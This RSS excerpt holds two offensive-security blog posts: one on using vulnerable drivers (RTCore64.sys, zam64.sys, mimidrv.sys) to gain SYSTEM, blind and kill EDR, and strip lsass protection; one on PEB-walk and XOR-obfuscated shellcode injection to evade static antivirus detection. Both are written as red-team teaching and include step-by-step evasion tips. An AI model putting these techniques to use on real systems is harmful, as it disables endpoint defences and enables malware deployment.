exploit the <strong>CVE-2019–16098</strong> which is in driver Micro-Star MSI Afterburner 4.6.2.15658 (aka <strong>RTCore64.sys</strong> and <strong>RTCore32.sys</strong>) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. Instead of hardcoded base address of <strong>Ntoskrnl.exe</strong>, we calculate it dynamically and re-calculate all offsets of fields under EPROCESS structure in new version of windows. <strong>EPROCESS</strong> structure is an opaque structure that serves as the process object for a process. In kernel mode, the address of the <strong><em>EPROCESS</em></strong> structure for the SYSTEM process is conveniently exposed by the kernel through the exported symbol <em>PsInitialSystemProcess</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*v5wls7SPhiq2C_zGn2NeQQ.png" /><figcaption>Calculate the base address of Ntoskrnl.exe</figcaption></figure><p><strong>PsInitialSystemProcess</strong> global variable points to the process object for the system process. So for calculate the <strong>offsetPsInitialSystemProcess</strong> address we need Ntoskrnl.exe base address which we calculate dynamically and after that we calculated all fields within EPROCESS structure needed to steal system token and escalate privileges.</p><p><strong>Struct offsets for required fields under EPROCESS Structure (Token, UniqueProcessId, ActiveProcessLinks)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*FSvzrJvb-5RaGd6z_qYcxA.png" /><figcaption>Fields Under EPROCESS to steal system token.</figcaption></figure><p>In given diagram, we get the handle of device object. we use the RTCore64.sys driver which is not detectable by MDE. During the arsenal preparation when, we downloaded the RTCore64.sys, MDE didn’t detect it in static analysis and to bypass the DSE there are a lot of ways, which is not a part of this blog post. But for information, RTCore64.sys is still using in many attacks and it is not flagged by MDE in static analysis as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kVAWsBzinMxWeNj00Yqmxg.png" /><figcaption>Device Handle</figcaption></figure><p>In this diagram, we first calculate the base address of ntoskrnl.exe which is required to get the offset of PsInitialSystemProcess. After getting the offset, we calculated the virtual address of <strong>PsInitialSystemProcess</strong> and by using this address calculated the all fields required under EPROCESS structure to steal the system token. After that we steal the system token and write with current process token and get elevated privileges using vulnerable driver RTCore64.sys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EuNWT9s9OZTgTDG5GX6knQ.png" /><figcaption>Locating the Fields under EPROCESS struct</figcaption></figure><p><strong>Practical Video:</strong></p><p><a href="https://www.linkedin.com/posts/usman-sikander13_%3F%3F%3F-%3F%3F-%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F-ugcPost-7226278965731069952-o6dD?utm_source=share&amp;utm_medium=member_desktop">Usman Sikander on LinkedIn: [𝐆𝐄𝐓 𝑵𝑻-𝑨𝑼𝑻𝑯𝑶𝑹𝑰𝑻𝒀&amp;#92;𝑺𝒀𝑺𝑻𝑬𝑴 𝐂𝐎𝐍𝐓𝐄𝐗𝐓 𝐎𝐍...</a></p><h4>Remove EDR Callbacks:</h4><p>In second stage, we prepare an arsenal which is removing registered EDR callbacks by using the vulnerable driver. In our arsenal preparation, we use the same driver RTCore64.sys which provide read and write permission on kernel level. So, we used the vulnerability and remove callbacks of EDR solution to blind the EDR. We removed 𝐏𝐬𝐒𝐞𝐭𝐂𝐫𝐞𝐚𝐭𝐞𝐏𝐫𝐨𝐜𝐞𝐬𝐬𝐍𝐨𝐭𝐢𝐟𝐲𝐑𝐨𝐮𝐭𝐢𝐧𝐞 registered by microsoft defender and sysmon. By removing the 𝐏𝐬𝐒𝐞𝐭𝐂𝐫𝐞𝐚𝐭𝐞𝐏𝐫𝐨𝐜𝐞𝐬𝐬𝐍𝐨𝐭𝐢𝐟𝐲𝐑𝐨𝐮𝐭𝐢𝐧𝐞 routine doesn’t mean you are fully undetected by EDR, because EDRs are using a lot of other callbacks to send telemetry for analysis, if you perform any other operation such as loading a image, creation of thread, changes in registry, these will be notify and detected by EDRs. This study is just an idea to remove EDR callbacks, the more you study the EDR components you can understand the registered routines and their working.</p><p>In this diagram, we define the struct needed to perform the read and write operations using the device handle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPTJ6t_TxRrejQq07WRQzQ.png" /><figcaption>Structure Required</figcaption></figure><p>In this function, we get the base address of ntoskrnl.exe instead of leaking the hardcoded kernal base address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*0ktvpx42K17O2W5LMeO0Bw.png" /><figcaption>Base address of ntoskrnl.exe</figcaption></figure><p>In this code, we get the handle of device object to perform kernel-level operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i7HyXWzwdplkAVFEr4HKag.png" /><figcaption>Getting handle of device object</figcaption></figure><p>In this code, we get the ntoskrnl.exe base address by calling the above defined function and by using the calculated base address, we find the <strong>PsSetCreateProcessNotifyRoutine. </strong>After that<strong>, w</strong>e find the <strong>PsSetCreateProcessNotifyRoutine </strong>address of sysmon driver (Sysmondrv.sys) and Microsoft defender driver (WdFilter.sys).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gaQ1sIvdJMDfShOT3ElXpg.png" /><figcaption>Routine array address</figcaption></figure><p>After getting the registered callback for required driver, we use the vulnerability of driver and patch the callback address with 0x0000000000000000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*cIhmicPidfVlX0RrrUwu2w.png" /></figure><p>In this stage, we remove <strong>PsSetCreateProcessNotifyRoutine </strong>routine which is responsible to notify and send telemetry when a new process is created. We can find the EDRs registered callback routines and can remove them to blind the EDRs.</p><p><strong>Practical Video:</strong></p><p><a href="https://www.linkedin.com/posts/usman-sikander13_edrs-are-complex-solutions-and-key-components-activity-7227289675130916864-deG5?utm_source=share&amp;utm_medium=member_desktop">Usman Sikander on LinkedIn: EDRs are complex solutions and key components of EDR is divided into 2...</a></p><h4>Terminate EDR Processes:</h4><p>In this stage of arsenal, we are using and re-creating the spyboy technique to terminate the edr processes. EDR processes are protected processes, we can’t terminate them even with the highest privileges context (Nt-Authority). To terminate the EDR process we need kernel level operations permission, so we can remove protection flag of EDR process which is Anti Malware <strong>‘Protected Process-Light’ (PPL) </strong>and can terminate easily with administrator permission. In this stage, we use spyboy technique which is utilizing the <strong>zam64.sys </strong>driver to terminate the EDR processes. The driver contains some protection mechanism that only allow trusted Process IDs to send <strong>IOCTLs</strong>, Without adding your process ID to the trusted list, you will receive an ‘Access Denied’ message every time. However, this can be easily bypassed by sending an IOCTL with our PID to be added to the trusted list, which will then permit us to control numerous critical IOCTLs.</p><p>I used the code of <strong>ZeroMemoryEx</strong> terminator. This guy reproduced the technique of spyboy, you can find the code from this repository.</p><p><a href="https://github.com/ZeroMemoryEx/Terminator">GitHub - ZeroMemoryEx/Terminator: Reproducing Spyboy technique to terminate all EDR/XDR/AVs processes</a></p><p>During my arsenal preparation, when I downloaded terminator compiled binary and <strong>zam64.sys</strong> driver, MDE flagged them and removed from disk. We found a lot of ways to bypass it from security controls and terminate EDR processes. We highlight some of the evasion tactics to bypass it but again how we bypassed DSE and static detection of <strong>zam64.sys</strong> is not a part of this blog post.</p><p>This code explaining the registration process and sending an IOCTL with our PID to be added to the trusted list, which will then permit us to control numerous critical IOCTLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*TwiueFQQaUEwOBtiq35I3A.png" /><figcaption>Register Process in trusted list</figcaption></figure><p>This code is explaing the function call using the device object handle and terminating the EDR processes. EDR service is responsible to recreate the EDR processes, so you have to run this in loop if you want to avoid the recreation of EDR process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*BjW0K3UqNhfLEiXNXucJug.png" /></figure><p><strong>Practical Video:</strong></p><p><a href="https://www.linkedin.com/posts/usman-sikander13_edrkiller-malwaredevelopment-mdebypass-activity-7201848552522711042-vySE?utm_source=share&amp;utm_medium=member_desktop">Usman Sikander on LinkedIn: #edrkiller #malwaredevelopment #mdebypass #cybersecurityawarness</a></p><h3>Evasion Tactics of Terminator:</h3><p>In this stage, we will highlight some evasion technique to bypass static detection of terminator tool. We are not going to explain the method to bypass detection of vulnerable drivers, because it can be used for illegitimate purpose. The purpose of this blog post is to understand the tactic of BYOVD technique, what damage it can impose on system and how APT groups are adopting these techniques to bypass defenses.</p><p>During my arsenal preparation, MDE detected the terminator binary because it is open source and microsoft defender updated its signature. Zam64.sys is also listed in loldrivers and MDE don’t allow driver to load. But there are alot of ways to bypass this protection which is not the part of this blog. So, let start and restrict only terminator EXE instead of zam64.sys driver.</p><p>We noticed the behavior of MDE on every compilation. We found ZeroMemoryEX tool was detected by MDE on three main things. One the defined array of EDRs processes, second the print statement of termination, the last and important is where terminator get the handle of device using symbolic link <strong>\\\\.\\ZemanaAntiMalware</strong></p><p>To bypass the first detection, we just change the variable name of array and redefined the sequences of EDR processes. To bypass the symbolic link detection, we use reverse string function which is reversing the string to bypass static analysis. Instead of passing the aurgument to CreateFileA API as <strong>\\\\.\\ZemanaAntiMalware, </strong>we can pass this function which will convert the reverse string on runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*YtpbUR-Y1PMNL4Cd8Q3-3A.png" /><figcaption>Reverse String</figcaption></figure><p>To bypass the second detection, we remove the print statements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*r_67RyHqOxrAsJdhpvM09g.png" /><figcaption>Remove it</figcaption></figure><p>EDR solution looks for patterns, IAT table, known signatures, Strings and utilize yara rules to detect the binary in static analysis, so we can bypass the malware in static detection by understanding the detection criteria of EDR.</p><h4>Mimikatz Driver (𝐦𝐢𝐦𝐢𝐝𝐫𝐯.𝐬𝐲𝐬) Load And Remove PPL Protection</h4><p>In last stage of arsenal, we utilize the driver created by Mimikaz author Benjamin Delpy. Mimkatz is very well-known and favorite post-explitation tool of all penetration testers and red teamer. But due to open-source, Mimikatz is very well-known to all AV/EDRs solution and it is very hard to use mimikatz in the presence of security controls. This stage is not to bypass mimikatz itselft, but more focus on to bypass mimikaz driver which can be used to remove lsass.exe PPL protection. If you want to learn about mimikatz evasion, we refere you to our privious blog post mainly focused on to bypass mimikatz.</p><p><a href="https://systemweakness.com/bypass-mimikatz-using-process-injection-technique-6d2a8415fcd6">Bypass “Mimikatz” using the Process Injection Technique</a></p><p>We apply the same technique to bypass Mimikatz driver that we adopted to bypass vulnerable driver. We were successful to load the Mimikatz driver and to bypass DSE policy of Windows and successfully removed the protection of lsass.exe by using Mimikatz.</p><p><strong>Practical:</strong></p><p><a href="https://www.linkedin.com/posts/usman-sikander13_%3F%3F%3F-%3F%3F%3F-%3F%3F%3F-%3F%3F-%3F%3F%3F%3F%3F%3F%3F%3F-activity-7206609992513134594-PlQY?utm_source=share&amp;utm_medium=member_desktop">Usman Sikander on LinkedIn: [𝑷𝑷𝑳 𝒂𝒏𝒅 𝑫𝑺𝑬 𝒗𝒔. 𝑴𝒊𝒎𝒊𝒌𝒂𝒕𝒛] We know, almost all the...</a></p><h3>Note:</h3><p>This post aims to provide a comprehensive understanding of how attackers leverage vulnerable drivers to execute malicious operations This serves as a foundational example to illustrate the broader concept of driver-based attacks and how EDR systems can be compromised.</p><h3>Conclusion:</h3><p>This knowledge empowers red teams to develop more sophisticated attack scenarios, testing the resilience of defenses. Blue teams, on the other hand, can leverage this information to enhance detection capabilities, strengthen defenses, and improve incident response procedures. The broader cybersecurity community benefits from a deeper understanding of these threats, enabling the development of more robust security solutions and countermeasures.</p><p>It’s essential to stay informed about the evolving threat landscape and to continuously adapt defensive strategies to counter emerging techniques like BYOVD. By fostering collaboration between red and blue teams and sharing knowledge within the cybersecurity community, we can collectively strengthen our defenses against these advanced threats.</p><h3>References:</h3><ul><li><a href="https://github.com/Offensive-Panda/NT-AUTHORITY-SYSTEM-CONTEXT-RTCORE">GitHub - Offensive-Panda/NT-AUTHORITY-SYSTEM-CONTEXT-RTCORE: This exploit rebuilds and exploit the CVE-2019-16098 which is in driver Micro-Star MSI Afterburner 4.6.2.15658 (aka RTCore64.sys and RTCore32.sys) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. Instead of hardcoded base address of Ntoskrnl.exe, I calculated it dynamically and recalulated the fields offsets</a></li><li><a href="https://github.com/Offensive-Panda">Offensive-Panda - Overview</a></li><li><a href="https://offensive-panda.github.io/">Usman Sikander</a></li><li><a href="https://github.com/RedCursorSecurityConsulting/PPLKiller">GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)</a></li><li><a href="https://github.com/ZeroMemoryEx/Terminator/tree/master/Terminator">Terminator/Terminator at master · ZeroMemoryEx/Terminator</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec809272e505" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/byovd-a-kernel-attack-stealthy-threat-to-endpoint-security-ec809272e505">BYOVD A Kernel Attack: Stealthy Threat to Endpoint Security</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PEB Walk: Avoid API calls inspection in IAT by analyst and bypass static detection of…]]></title>
            <link>https://systemweakness.com/peb-walk-avoid-api-calls-inspection-in-iat-by-analyst-and-bypass-static-detection-of-1a2ef9bd4c94?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a2ef9bd4c94</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[static-code-analysis]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Fri, 26 Jul 2024 23:32:45 GMT</pubDate>
            <atom:updated>2024-07-30T12:39:51.662Z</atom:updated>
            <content:encoded><![CDATA[<h3>PEB Walk: Avoid API calls inspection in IAT by analyst and bypass static detection of AV/EDR</h3><p><strong>Summary</strong></p><p>In this blog, we discuss the different approaches of AV/EDRs static analysis and detection. A legacy antivirus software was dependent on signature based detection. They calculate the hash of binary and see if this specific signature match with known malware signature in the database than mark the binary malicious or benign accordingly. To bypass hash based detection procedure is very simple. You just need to change even a single byte to bypass hash based detection. But now AVs are quite advance they don’t only rely on known malware hashes, also nowadays EDRs comes into play which looks for patterns, IAT imports, EDR solutions use pattern matching to identify suspicious code sequences, strings, or structures within files that are commonly associated with malware. EDR tools utilize YARA rules to detect malware based on specific patterns and characteristics defined in the rules. These rules can identify both known and unknown threats by looking for indicators of compromise (IOCs). EDR solutions analyze file attributes and behaviours for characteristics typical of malware. This includes examining file entropy, uncommon API calls, suspicious import tables, and other anomalous features. We use different techniques to bypass static analysis of EDRs solutions. We divide our arsenal preparation into 4 main stages, we try to hide strings, API imports by obfuscating them, resolve API using different ways such as dynamically walking the process environment block (PEB) and resolve export functions by parsing kernel32.dll in-memory to hide imports. In the end, we look at the results of the detection rate after applying different techniques and see which technique is more effective to fly under the radar of EDRs static detection.</p><h3><strong>PEB Structure</strong></h3><p>The Process Environment Block (PEB) is a crucial data structure in Windows operating systems that contains information about the state of a process. It’s an undocumented structure in the Windows API but is well-known among malware analysts and developers for its rich set of information about a process.</p><p><em>typedef struct _PEB {<br> BYTE Reserved1[2];<br> BYTE BeingDebugged;<br> BYTE Reserved2[1];<br> PVOID Reserved3[2];<br></em><strong><em> PPEB_LDR_DATA Ldr;</em></strong><em><br> PRTL_USER_PROCESS_PARAMETERS ProcessParameters;<br> PVOID Reserved4[3];<br> PVOID AtlThunkSListPtr;<br> PVOID Reserved5;<br> ULONG Reserved6;<br> PVOID Reserved7;<br> ULONG Reserved8;<br> ULONG AtlThunkSListPtr32;<br> PVOID Reserved9[45];<br> BYTE Reserved10[96];<br> PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;<br> BYTE Reserved11[128];<br> PVOID Reserved12[1];<br> ULONG SessionId;<br>} PEB, *PPEB;</em></p><p>From the structure members mentioned above, we can see the highlighted Ldr member. This member contains a pointer to a PEB_LDR_DATA structure, which holds information about all the loaded modules (EXEs/DLLs) in the current process. Within this structure, the InMemoryOrderModuleList is a doubly-linked list used to find the addresses of loaded DLLs.</p><p><em>typedef struct _PEB_LDR_DATA {<br> BYTE Reserved1[8];<br> PVOID Reserved2[3];<br> </em><strong><em>LIST_ENTRY InMemoryOrderModuleList;<br></em></strong><em>} PEB_LDR_DATA, *PPEB_LDR_DATA;</em></p><p>In this structure, a process would use the InMemoryOrderModuleList to enumerate loaded modules. This linked list contains entries for each module, represented by LDR_DATA_TABLE_ENTRY structures, which provide detailed information about each module.</p><h3><strong>PEB Walk Overview</strong></h3><p>PEB walk is the process of accessing the PEB structure form process space and enumerating all loaded modules in space of process dynamically. After enumerating the loaded modules, resolve the functions and variables of the modules and use them into code.</p><p><strong>X86 Assembly:</strong></p><p>mov eax, fs:[30h] ; EAX now points to the PEB</p><p><strong>X64 Assembly:</strong></p><p>mov rax, gs:[60h] ; RAX now points to the PEB</p><p>To outline the process, the PEB walk for resolving the addresses of LoadLibraryA and GetProcAddress is as follows:</p><ol><li>Obtain and access the PEB structure of the current process.</li><li>Navigate to the PEB_LDR_DATA structure using the Ldr member of the PEB.</li><li>Iterate through the InLoadOrderModuleList to locate the LDR_DATA_TABLE_ENTRY for kernel32.dll.</li><li>Once the entry for kernel32.dll is found, extract its base address.</li><li>Manually parse the export table of kernel32.dll to resolve the addresses of LoadLibraryA and GetProcAddress.</li></ol><h3>Arsenal preparation and Stages</h3><p>We use a simple process injection technique, which is using Windows APIs such as VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread to inject a msfvenom generated shellcode into a process.</p><p><strong>VirtualAllocEx:</strong> To allocate RWX memory region into remote process.</p><p><strong>WriteProcessMemory:</strong> To write shellcode into created memory section.</p><p><strong>CreateRemoteThread: To create a new thread that executes our shellcode when it starts.</strong></p><h4>Stage 1 (Simple Injection)</h4><p>In stage 1, we write a simple process injection technique, which is using the above-mentioned APIs to inject a malicious shellcode into a remote process. However, in the first stage, we directly use these APIs in our arsenal instead of dynamically resolving the APIs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1xHlC4cLYx-yf8vQl8t8w.png" /><figcaption>Simple Injection</figcaption></figure><p>In the above code, we use OpenProcess API to get the handle of process, and we allocate RWX memory region, write shellcode which is opening calc.exe and creating new thread to execute our shellcode into remote process. This is a very simple and straightforward code.</p><h4>IAT Inspection</h4><p>In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let’s inspect our compiled binary with these tools and see what the indicators on which our malware can be detected are and try to overcome them in the coming stages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-OnNUT3AE9Vd3YXv9j4yw.png" /><figcaption>CFF Explorer Results</figcaption></figure><p>You can clearly see the API calls in the IAT table of compiled binary, and by looking into these calls, malware analysts can clearly indicate that this binary is doing shellcode injection. These are the very well-known sequences of API calls to perform injection. On the other side, EDRs can detect the binary in static analysis because they do inspection on IAT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qOpLcwXUUE6IIIgjcxSbUA.png" /><figcaption>PE Studio Results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8O2yueZj5NWDXPmELsLSw.png" /><figcaption>PE Studio</figcaption></figure><p>You see, PE studio flagged these APIs as malicious. It is the beauty of PE studio that it mapped flag API calls on the MITRE ATT&amp;CK framework. So, according to PE Studio, this malware is performing process injection, which is very right in this case. So, we have to overcome these challenges in our next stages of arsenal preparation.</p><h4>Execution</h4><p>In each stage, We execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use Windows API calls directly into code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTLeakH0z8IQVYJHwxXEvA.png" /><figcaption>Stage 1 Execution</figcaption></figure><h4>Stage 2 (DynamicAPI Injection)</h4><p>In stage 2, we use the same injection technique to inject malicious shellcode into the process, but this time, we resolve windows APIs dynamically by using two main functions GetProcAddress and LoadLibraryA.</p><p><strong>GetProcessAddress: This function resolves the address of any function inside the given module. This API took two arguments, one the module from which we want to get the function address and second the function name to be resolved.</strong></p><p><strong>LoadLibraryA: This function gets the handle of the module from which we want to get the function address. In our case, kernell32.dll is the module.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3_ypYFbCKxC4mmevC5YWA.png" /><figcaption>Prototypes</figcaption></figure><p>In this stage, first, we have to define the prototypes of each API that we want to resolve dynamically. We define a type representing a function pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwWQg8oXGIsoW0CJMOenuQ.png" /><figcaption>DynamicAPI Injection</figcaption></figure><p>The above code explains that we use the LoadLibrayA function to get the handle of kernel32.dll, and then we use GetProcAddress to resolve our APIs inside the kernel32.dll Now, this time, we use dynamic API resolution technique and see what makes better in our compiled binary.</p><h4>IAT Inspection</h4><p>In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let’s inspect our compiled binary with these tools and see what the indicators on which our malware can be detected are and try to overcome them in the coming stages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*w_m89TaAMoZQtVLVyI63VA.png" /><figcaption>CFF Explore Results</figcaption></figure><p>You can clearly see, in this stage we are quite better because this time we have fewer imports which indicate the behaviour of malware. But still, we see some indicators such as LoadLibrarayA and GetProcAddress, which can be detected in static analysis. We try to overcome this issue in our next stage preparation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRLV6bsQviHR3OLZ16O80Q.png" /><figcaption>PE Studio</figcaption></figure><p>PE studio still flagged some APIs and mapped them on MITRE ATT&amp;CK under the category of process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3c0kZrMaQbg1AyjlXiIIEw.png" /><figcaption>PE Bear Results</figcaption></figure><p>Oops, we see there are some strings in this stage under .rdata section of PE file. These strings are a great indicator of the behaviour of binary. Malware can still be detected in static analysis by EDRs. We have to overcome this issue in our coming stages.</p><h4>Execution</h4><p>In each stage, We execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use dynamic resolution of Windows API calls to inject shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ryJlzcSr4hwgJGOsnIdyTA.png" /><figcaption>Stage 2 Execution</figcaption></figure><h4>Stage 3 (PEB walk Injection)</h4><p>In stage 3, we use the same injection technique to inject a malicious shellcode into the process, but this time, we use a PEB walk to resolve APIs dynamically. We access the PEB and enumerate all loaded modules in process space, and find the base address of kernel32.dll. We use the base address of kernel32.dll to resolve the APIs&#39; function address and perfrom process injection using PEB walk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bowgntFhZK5BOPijmuNy_Q.png" /><figcaption>PEB Structutes</figcaption></figure><p>In this stage, first, we have to define all the structures needed to perform a PEB walk. You can find these structures on Microsoft documentation.</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB (winternl.h) - Win32 apps</a></p><p>We define all the needed structures, and we define function pointer types for the Windows API functions we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_wZHiLmmlkCD1JPB8yRXw.png" /><figcaption>Resolve Function Address</figcaption></figure><p>Above code parse kernel32.dll as PE file because DLL is PE file format and First it is getting the DOS header and by using DOS header member e_lfanew which is 4 bytes field tells the offset of NT header. Now, the NT header contains option header, which holds the data directory field, including all exported functions of the module. So this function returns the address of the matched function name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsfzIk7pR83aqQqqBr_lkA.png" /><figcaption>PE Access and Walk</figcaption></figure><p>This code snippet access the PEB and then traverse the InLoadOrderModuleList to find the LDR_DATA_TABLE_ENTRY for kernel32.dll.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-n54zP2BCxmMGM4A_2TSw.png" /><figcaption>Resolve API functions</figcaption></figure><p>Finally, we resolve and use the APIs to perform process injection.</p><h4>IAT Inspection</h4><p>In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let’s inspect our compiled binary with these tools and see what the indicators on which our malware can be detected are and try to overcome them in the coming stages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIZJzxQXTMTVmCLfNmKmmw.png" /><figcaption>CFF Explorer Results</figcaption></figure><p>Great, in this stage, we improve our IAT, and this time, we can see there is no malicious import, which can give indicators for malicious behaviour. We see there is no GetProcAddress and LoadLibraryA functions this time. This is a good sign for a malware developer because this can bypass static analysis of EDRs solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9heHLUVaMz-QuMO88uI5w.png" /><figcaption>Malicious String</figcaption></figure><p>Oops, we see there are still some strings in this stage under .rdata section of PE file. These strings are a great indicator of the behaviour of binary. Malware can still be detected in static analysis by EDRs. We overcame one issue, which was IAT imports indication, but this issue could be addressed in our coming stage.</p><h4>Execution</h4><p>In each stage, We execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use the dynamic resolution of Windows APIs by PEB walk to inject shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xCPdDlp5Y_TYaeJQ5TFm9A.png" /><figcaption>Stage 3 Execution</figcaption></figure><h4>Stage 4 (PEB Walk and API Imports Obfuscation, Strings Hide)</h4><p>In stage 4, we use the same technique to inject a malicious shellcode into the process. But this is the final stage, so we have to overcome all the challenges we face in the previous stage. We need to hide malicious strings and dynamically resolve APIs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bowgntFhZK5BOPijmuNy_Q.png" /><figcaption>PEB Structutes</figcaption></figure><p>In this stage, first, we have to define all the structures needed to perform a PEB walk, same as stage 3. You can find these structures on Microsoft documentation.</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB (winternl.h) - Win32 apps</a></p><p>We define all the needed structures, and we define function pointer types for the Windows API functions we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWCxDvFjQ1_GAO_K2AeRIw.png" /><figcaption>XORing</figcaption></figure><p>In this stage, we use xor encryption to obfuscate the API calls and hide the strings to bypass static analysis. This function will use the key “offensivepanda” and decrypt all API calls at runtime, which are encrypted and stored inside the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mfx8SZCHj-IfrF9eSQQp_Q.png" /><figcaption>Decrypt and Inject</figcaption></figure><p>You can see in this code snippet that we decrypt the APIs&#39; calls and pass it to function, which is resolving the address of API calls dynamically, All the API calls are encrypted.</p><h4>IAT Inspection</h4><p>In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let’s inspect our final stage compiled binary with these tools and see if we have overcome all the issues or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QU1ILUQIkFbrZpU3-SkmWw.png" /><figcaption>CFF Explore Results</figcaption></figure><p>Great, in this stage, we improve our IAT, and this time, we can see there is no malicious import, which can give indicators for malicious behaviour. We see there is no GetProcAddress and LoadLibraryA functions this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTQNic0Gn56FWpOS0jTmjg.png" /><figcaption>Strings Stage Final</figcaption></figure><p>Great, there is no malicious string this time because we obfuscate all API calls in our code, and we don’t have any string and API import, which indicates the behaviour of malware in static analysis.</p><h4>Execution</h4><p>In each stage, We execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use dynamic resolution of Windows APIs by PEB walk and obfuscate API call to inject shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPdkF4MuzqOQLqJxHn_GAw.png" /><figcaption>Stage 4 Execution</figcaption></figure><h4>Detection Results</h4><p>We removed the msfvenom shellcode from the code and uploaded first and last stage malware on virustotal to see the detection results. We remove shellcode because the msfvenom generated shellcode is highly detectable, so we want to see the effectiveness of other techniques we used in this post. We know virustotal check the behaviour as well, but let’s see the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5gacnCt3nGXpXkGLPOuKQ.png" /><figcaption>Stage 1 Results (Simple Injection)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hL5UQn99lT9sMV7hNrcCFA.png" /><figcaption>Final Stage Result (PEB walk and Xor)</figcaption></figure><h3>Note</h3><p>These techniques help to bypass static analysis of EDRs solution and also help to make malware harder in static analysis so analysts can’t simply understand the behaviour of malware by looking into IAT and strings. But binary can still be detected in dynamic and behaviour based analysis. Because dynamic bypass was not the scope of this post, but you can see our previous blogs, which mainly focused on dynamic behaviour bypass.</p><h3>Full Code</h3><p><a href="https://github.com/Offensive-Panda/PEB_WALK_AND_API_OBFUSCATION_INJECTION">GitHub - Offensive-Panda/PEB_WALK_AND_API_OBFUSCATION_INJECTION: This exploit use PEB walk technique to resolve API calls dynamically, obfuscate all API calls to perform process injection.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a2ef9bd4c94" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/peb-walk-avoid-api-calls-inspection-in-iat-by-analyst-and-bypass-static-detection-of-1a2ef9bd4c94">PEB Walk: Avoid API calls inspection in IAT by analyst and bypass static detection of…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this 